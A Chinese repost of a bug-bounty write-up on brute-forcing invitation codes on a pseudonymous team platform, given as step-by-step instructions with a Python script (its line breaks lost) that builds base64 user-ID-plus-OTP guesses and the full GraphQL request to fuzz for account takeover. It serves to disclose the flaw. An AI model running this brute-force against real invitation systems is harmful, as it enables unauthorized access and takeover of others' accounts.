【网络安全】破解邀请码实现未经授权的访问和账户接管

未经许可,不得转载。

文章目录

    • 前言
    • 1、邀请用户
    • 2、低级账户访问
    • 3、提取用户 ID 和 OTP
    • 4、准备字典
    • 5、攻击
    • 6、账户接管

前言

ExampleSpark(化名)是一个专为团队管理和项目协作而设计的强大平台。它提供了用于管理用户、项目和权限的综合工具。

1、邀请用户

1.1、登录 ExampleSpark 上的管理员帐户。
1.2、导航到团队管理部分。
1.3、邀请用户,这将生成一个邀请链接,其中包含带有用户 ID 的 base64 编码令牌和 7 位 OTP(一次性密码)。

2、低级账户访问

2.1、登录 ExampleSpark 上的低级别帐户。

3、提取用户 ID 和 OTP

3.1、转到团队管理部分并选择受邀用户。
3.2、从 URL 中提取用户 ID https://app.examplespark.com/users/User:<user_id>。例如018dee9c-a9be-04f8-0000-fb5b23eef4d2

4、准备字典

4.1、字典格式为:userid的base64编码+7位otpcode(例如MDE4ZGVlOWMtYTliZS0wNGY4LTAwMDAtZmI1YjIzZWVmNGQyO39426NQ)。

在这里插入图片描述

4.2、生成包含7 位随机字母数字的OPT,将每个组合转换为base64编码。

代码如下:

import random
import base64def generate_otp():# Generate a random 7-digit alphanumeric OTPcharacters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"otp = ''.join(random.choice(characters) for i in range(7))return otpdef convert_to_base64(data):# Convert the data to base64data_bytes = data.encode('utf-8')base64_encoded = base64.b64encode(data_bytes).decode('utf-8')return base64_encoded# Constant user ID
user_id = "018dee9c-a9be-04f8-0000-fb5b23eef4d2"# Number of OTPs to generate (updated to 1000)
num_otps = 1000# Generate payloads and create a list
payload_list = []for _ in range(num_otps):otp = generate_otp()payload = f"{user_id}:{otp}"base64_payload = convert_to_base64(payload)payload_list.append(base64_payload)# Print the generated payloads and their base64 representations
for i, payload in enumerate(payload_list, start=1):print(f"Payload {i}: {payload}")

在这里插入图片描述

5、攻击

接收邀请的请求包如下

POST /graphql/frontend?n=AcceptInvitation HTTP/2
Host: app.examplespark.com
Cookie: [session cookies]
Content-Length: 616
Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
Accept: */*
X-Graphql-Operation: AcceptInvitation
Sec-Ch-Ua-Platform: "Linux"
Origin: https://app.examplespark.com
Referer: https://app.examplespark.com/invitations/MDE4ZGVkZWUtZWZiZS0wNGY4LTAwMDAtN2I4YWRmZDAwYjQ1OjAxMzI2NQ
{"operationName":"AcceptInvitation","variables":{"invitation_key":"","name":"","password":""},"query":"mutation AcceptInvitation($invitation_key: String!, $name: String!, $password: String!) {\n  accept_invitation(\n    input: {invitation_key: $invitation_key, name: $name, password: $password}\n  ) {\n    account_id\n    user {\n      id\n      status\n      ...AuthUserLogin\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment AuthUserLogin on User {\n  id\n  email\n  display_name\n  session_valid_until\n  __typename\n}"}

选择invitation_key参数,添加字典并开始攻击。

6、账户接管

响应为 200 OK 状态、长度为 1142时表示成功接受邀请。

攻击者可以接受邀请并获得未经授权的访问权限,并可能根据受邀用户的角色提升权限。

原文出处:
https://medium.com/bugbountywriteup/500-for-cracking-invitation-code-for-unauthorized-access-account-takeover-558c663fb947

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/51785.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【华视电子CVR100A】 身份证读取与酒店收银系统源码整合:CyberWinApp-SAAS 本地化及未来之窗行业应用跨平台架构

一、酒店系统连接身份证阅读器好处 在开房界面&#xff0c;点击读取身份证&#xff0c;可以自动读取姓名&#xff0c;性别&#xff0c;地址&#xff0c;身份证号码 1. 提高办理入住效率 - 传统的手动输入身份证信息繁琐且容易出错&#xff0c;一键读取能够快速准确地获取客人身…

机器学习算法——常规算法,在同的业务场景也需要使用不同的算法(一)

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

【C语言报错已解决】Format String Vulnerability

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引言 在日常开发中&#xff0c;我们经常会遇到各种各样的bug&#xff0c;其中格式化字符串漏洞报错可能是最让人头疼的一种。这…

基于SpringBoot+Vue的地方美食分享网站(带1w+文档)

基于SpringBootVue的地方美食分享网站(带1w文档) 人类的进步带动信息化的发展&#xff0c;使人们生活节奏越来越快&#xff0c;所以人们越来越重视信息的时效性。以往的管理方式已经满足不了人们对获得信息的方式、方便快捷的需求。即地方美食分享网站慢慢的被人们关注。 项目简…

Redis集群启动步骤

前提&#xff1a;处理好配置文件。 一、通过配置文件启动三个Redis实例。 执行命令&#xff1a;redis-server /opt/redis/cluster/16381/16381.conf 二、因为 Redis 集群至少需要 3 个主节点。所以这三个都是主节点&#xff0c;暂不考虑从节点。 创建一个包含 3 个主节点的…

全网最适合入门的面向对象编程教程:27 类和对象的Python实现-Python中异常层级与自定义异常类的实现

全网最适合入门的面向对象编程教程&#xff1a;27 类和对象的 Python 实现-Python 中异常层级与自定义异常类的实现 摘要&#xff1a; 本文主要介绍了在使用 Python 进行面向对象编程时&#xff0c;异常的层级和如何使用继承关系完成自定义自己项目中异常类&#xff0c;并以传…

刷题了:144.二叉树的前序遍历心|145.二叉树的后序遍历心|94.二叉树的中序遍历己

递归遍历 文章讲解:https://programmercarl.com/%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E9%80%92%E5%BD%92%E9%81%8D%E5%8E%86.html#%E6%80%9D%E8%B7%AF 视频讲解:https://www.bilibili.com/video/BV1Wh411S7xt/?spm_id_from333.788&vd_sourcee70917aa6392827d1ccc8d85e1…

【Websim.ai】一句话让AI帮你生成一个网页

【Websim.ai】一句话让AI帮你生成一个网页 网站链接 websim.ai 简介 websim.ai接入了Claude Sonnet 3.5&#xff0c;GPT-4o等常用的LLM&#xff0c;只需要在websim.ai的官网指令栏中编写相关指令&#xff0c;有点类似大模型的Prompt&#xff0c;指令的好坏决定了网页生成的…

全网最全robotframework自动化测试环境搭建

一、前言 1、在2019年之前&#xff0c;robotframework-ride的版本一直是1.5.2.1&#xff0c;是2016年1月份的版本&#xff0c;只能安装在python2.7的环境上&#xff0c;导致如果想同时使用robotframework做测试且又需要python3环境编写python代码的小伙伴都需要在操作系统上安…

Open3D 计算去质心后的点云

目录 一、概述 1.1原理 1.2实现步骤 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 3.1原始点云 3.2处理后点云 Open3D点云算法汇总及实战案例汇总的目录地址&#xff1a; Open3D点云算法与点云深度学习案例汇总&#xff08;长期更新&#xff09;-CSDN博客 一、…

linux运维脚本编写

目录 步骤1 系统基本信息的检查 步骤2 文件系统和磁盘信息的检查 步骤3 内存、cpu、进程信息的检查 1、内存信息检查 2、cpu信息检查 3、进程信息检查 步骤4 其他脚本 正文部分✌ 步骤1 系统基本信息的检查 巡检脚本 步骤2 文件系统和磁盘信息的检查 具体实现的shell脚本如…

NebulaGraph图数据库使用教程

一、NebulaGraph 是什么&#xff1f; NebulaGraph 是一款开源的图数据库&#xff0c;擅长处理千亿个顶点和万亿条边的超大规模数据集。 NebulaGraph 社区已成长为一个荟聚了众多用户、融合了各类图技术场景实践知识的活跃开源社区。你可以在其中与大家共同交流 NebulaGraph 周…

音视频开发入门很难?可能是你姿势不对

作为程序员&#xff0c;听到最烦的两个词一个是bug&#xff0c;在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「音视频开发的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大…

【书生大模型实战】L1-书生大模型全链路开源体系

一、关卡任务 观看本关卡视频后&#xff0c;写一篇关于书生大模型全链路开源开放体系的笔记。 视频链接&#xff1a;【书生浦语大模型全链路开源体系】 https://www.bilibili.com/video/BV1Vx421X72D/?share_sourcecopy_web 二、实验过程 书生浦语大模型全链路开源体系&am…

银行贷款信用评分不足?大数据帮你找回失去的“分”

在这个信息爆炸的时代&#xff0c;无论是个人还是企业&#xff0c;数据都成为了衡量信用和评估风险的重要依据。贷款、融资、求职甚至是日常消费&#xff0c;都可能因为一份好的数据报告而变得更加顺畅。那么&#xff0c;如何高效地查询自己的大数据&#xff0c;面对评分不足时…

【持续集成_02课_Jenkins+Git+Gogs综合应用】

https://www.cnblogs.com/xfeiyun/p/17510472.html Jenkins部署及持续集成——傻瓜式教程-腾讯云开发者社区-腾讯云 一、Jenkins安装 Jenkins由Java语言编写而成&#xff0c;安装包即是一个war包。因此&#xff0c;Jenkins的运行启动依赖于Java环境&#xff0c;同时&#xf…

G120 EPos配置方案及应用场景

EPos功能就是基本定位器功能,它可计算出轴的运行特性,使轴以时间最佳的方式移动到目标位置。EPos功能主要包括:设定值 直接给定(MDI)功能、 选择程序段功能、回参考点功能、点动功能、运行到固定挡块功能。 EPos功能通过处理给定的加速度、速度和位置值生成运行特性曲线,…

昇思 25 天学习打卡营第 15 天 | mindspore 实现 VisionTransformer 图像分类

1. 背景&#xff1a; 使用 mindspore 学习神经网络&#xff0c;打卡第 15 天&#xff1b;主要内容也依据 mindspore 的学习记录。 2. Vision Transformer 介绍&#xff1a; mindspore 实现 VisionTransformer 图像分类&#xff1b;VisionTransformer 论文地址 VisionTransfo…

Redis是多线程还是单线程?

文章目录 1、用户态和内核态2、阻塞IO3、非阻塞IO4、IO多路复用4.1 select4.2 poll4.3 epoll4.4 epoll中的ET和LT4.5 epoll的服务端流程 5、信号驱动6、异步IO7、对比8、Redis是单线程的吗&#xff1f;9、单线程多线程网络模型变更 1、用户态和内核态 1、ubuntu和Centos 都是Li…

day 02

作业&#xff1a; 1> 写一个日志文件&#xff0c;将程序启动后&#xff0c;每一秒的时间写入到文件中 1、2024- 7-29 10:31:19 2、2024- 7-29 10:31:20 3、2024- 7-29 10:31:21 ctrlc:停止程序 ./a.out 4、2024- 7-29 10:35:06 5、2024- 7-29 10:35:07 6、2024- 7-29 10:3…